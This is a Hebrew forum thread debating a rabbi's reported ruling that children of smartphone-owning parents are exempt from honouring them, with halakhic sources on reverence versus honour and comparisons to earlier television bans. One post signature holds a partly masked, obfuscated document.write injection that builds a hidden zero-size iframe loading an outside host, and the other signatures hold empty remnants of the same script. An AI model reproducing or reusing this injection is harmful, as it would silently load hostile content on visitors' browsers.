עקירת אחד מעשרה דיבריא על ידי הרב נוסבוים

פורסם אתמול כאן ב"בחדרי", כי הרב נפתלי נוסבוים הכריז אתמול שאדם שאביו או אמו מחזיקים בסמארטפון אינו מחוייב בכיבוד אב ואם. כנראה מדובר בעקירת דבר מן התורה למיגדר מילתא, תקדים ללא ספק, האם יש כאן בפורום מי ששמע את דבריו בכנס?

שמח בחור

ברוך הבא אל הפורום!

תודה על המקורות שהוספת.

לגבי המושג של "מורא" שמסתבר ששקול ל"יראה", מהי באמת יראה? האם זה רגש הלב או ביטוי מעשי שלו? אם זה ביטוי מעשי, האם אפשר לראות בתירגום שלי לאיסור לבזות או לצער תירגום נאות או ממצה?

כתבתי קודם בקיצור רב וכנראה טעיתי, או בזיהוי הזה בין יראה=איסור לצער ולבזות או באי הסבר מורחב...

לגבי חיוב כבוד שמתפרש אצל חכמינו גם בתור חובה להאכילו ולהשקותו, אני הבנתי בלמדי סוגיה זו שאלו הם רצונות האב, וכבוד האב מתפרש בתור חובה למלא רצונותיו ודרישותיו. ואכן דנו פוסקים במשך הדורות עד כמה רחבה החובה לשמוע בקול האב, ואם למשל האב אוסר עליו להתחתן עם אשה פלונית או להפך תובע ממנו לשאת אותה, האם החובה כוללת גם דבר זה.

לגבי זה שיש מחלוקת בין הרמב"ם לטור האם יש חובה לציית לאב עובר עבירה, תודה על הסיכום הזה מפני ששכחתיו והרי חייבים להוסיפו.

לגבי השאלה איך פוסקים במחלוקת כזו, אז זוהי עצמה מחלוקת על האופן שבו מכריעים במחלוקת. האם יעשה כל אחד כמנהג רבותיו וקהילתו (למשל אשכנזים וספרדים לפי מנהג הפסיקה המקובל), או שצריך ללמוד את המקורות מחדש ולברר, או שיש להחמיר במידת האפשר, ועוד.

לגבי הטלויזיה, אכן לא בארתי ואבאר כעת. יש המצאות טכנולוגיות שמערערות את סדרי החיים המקובלים ופותחות פתח לעולם הרחב ואף מאיימות על הנאמנות להלכה. הטלויזיה כמדומה היתה ההמצאה הראשונה מסוגה. הרדיו שהופיע לפניה לא היה איום כזה ואכן מעניין לברר מדוע. בין השאר, לפי זכרונותי שלי מילדותי, מפני שלא היו בו דברים מהסוג שהופיעו מאוחר יותר, כמו פריצות וערעור על אמונות מקובלות. הרי בימים הרחוקים ההם גם עיתוני שמאל, למשל, לא שללו את המסורת אלא רק לא שמרו מצוות בעצמם.

לפיכך ייראה לי שהטלויזיה היתה הראשונה להיתפס כאיום ונגדה התנהלה מלחמה גדולה, שאכן הסתיימה בהצלחה, ודומה שהגדרתו של החרדי כחרדי כוללת אי שימוש ב"מכשיר".

המלחמה נגד המחשב נחלה כשלון מפני שהתברר שזה מכשיר שאי אפשר בלעדיו.

עתה על הפרק מלחמה באינטרנט ומלחמה בתחליפי מחשב המציעים אפילו יותר ממנו, כמו הסמארטפונים.

ולכן מעניין לדעתי להשוות את התקנות שנקבעו בשעתו נגד הטלויזיה ומחזיקיה לתקנות שיש היום נגד מחזיקי הסלולריים שאינם "כשרים".

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

הרב מיימוני כתב:

לגבי הסעיף השני, יש אכן לעיין בדיני כיבוד. כידוע יש הבדל בין מורא, שזה איסור לצער את ההורה ולבזותו, לבין כבוד, שזה חיוב לשמוע בקולו.

מורא אין פירושו איסור לצער ולבזות  אלא מצוה לירא וקיומה הוא בלא ישב במקומו וכו' וכמובן שנכלל בזה גם שלא לצער ולבזות וכבוד אין פירושו חיוב לשמוע בקולו אלא מאכילו משקהו וכו' 

מורא חל גם באב עבריין. כבוד, זה כבר נתון כמדומה במחלוקת (אלא שאני כותב מהזכרון את הרושם שלי ולא מעיון עכשו כראוי).

רמב"ם פ"ו ממרים הי"א סובר שחייב בכבודו ומוראו, הטור יו"ד סי' ר"מ ורמ"א סובר שאינו חייב בכבודו אבל אסור להכותו ולקללו והש"ך סי' ר"מ נקט שאף לצערו אסור, [ושי' ר"ת דאף להכותו מותר] השו"ע פסק כהרמב"ם והרמ"א הביא את ד' הטור, ל"מ מי שמחלק בין כבוד למורא

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

יש לחקור
לרעייתי ולי יש סמארטפונים.
לחלק מילדי יש ולחלק אין. אלו שאין להם נראה שיכולים לסמוך על ההיתר של הרב נוסבוים, אולם אלו שיש להם, הואיל ויש להם הפטור לא חל, או שהואיל וההורים מוגדרים ככאלו שאין חייבים בכבודם, אזי זה שהם עוברים על התקנה אינו מהווה סיבה לחייבם, ואדרבא כיבוד הורים כאלו לעבירה ייחשב, ומי שאכל שום וכו'.

תוקן על ידי בעלבעמיו ב- 10/05/2016 09:23:11

הרב מיימוני,

בסעיף ב' אתה שואל "איך יש לנהוג בהורים עבריינים על תקנה כזו?"

מובלעת בשאלה ההנחה שההורים הם חסידי גור, שאם הם אינם - הרי אינם מתחייבים בתקנות גור מלכתחילה...

ואפילו אם נניח שההורים היו הסטורית משפחה גורית, הרי ברגע שעברו על ה"תקנות" - מיד ואוטומטית הם נפלטים החוצה. כנלע"ד.

אז איך תקנה פנימית של קהילה עוקרת חיוב דאורייתא חיצוני?

פתיאמי

הנושא מעניין ללימוד. זה שילוב של דיון תורני, על כיבוד הורים כאשר ההורים עוברים על תקנת רבנים מאוחרת, ושילוב של דיון סוציולוגי, על התרבות שבה הופיע האיסור הזה.

הבקשה מחברינו להזדהות כמי שנכחו בכנס היא תמוהה. האם אין זה אאוטינג? ועוד יותר מעניין, האם יש חסידי חסידות זו בפורום שלנו? בעצם למה לא, אדם יכול להיות פתוח, חושב ובודק, בכל מקום בעולם.

לגבי השאלה של כיבוד הורים, יש כאן שני נושאים כאמור:

א. מה הם האיסורים הקשורים בפלאפון? מה מקורם? איך אפשר להצדיק את הטענה שהם מחייבים? מכוח מה?

ב. איך יש לנהוג בהורים עבריינים על תקנה כזו? האם יש כיבוד הורים באב שעובר על תקנות דרבנן? (או באם, אבל דומה שהשאלה תהיה מצויה יותר באב, ובכל אופן הדין שווה).

לגבי הסעיף הראשון, אם מדובר בקהילה שיש לה רב, האם הרב בעל סמכות לתקן תקנה לאלו הכפופים לו? האם יש גבול ליכולת לתקן תקנות שאינן נצרכות, אולי, לפי הדין?

לגבי הסעיף השני, יש אכן לעיין בדיני כיבוד. כידוע יש הבדל בין מורא, שזה איסור לצער את ההורה ולבזותו, לבין כבוד, שזה חיוב לשמוע בקולו. מורא חל גם באב עבריין. כבוד, זה כבר נתון כמדומה במחלוקת (אלא שאני כותב מהזכרון את הרושם שלי ולא מעיון עכשו כראוי).

ספצפית, הורים בתקופתנו זקוקים לביקורי הילדים שגדלו והנכדים. לכאורה זה אפילו יותר מאשר כיבוד. זו שמירה על קשר מול ניתוק.

איך נהגו בעבר במי שעבר על הוראת הרבנים (הכללית עד כמה שידוע לי) והחזיק טלויזיה בבית? האם הבנים החרימו את ההורים? נדמה שהיו מגיעים בעצמם אבל לא היו מביאים את הילדים, או שמא אני טועה?

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");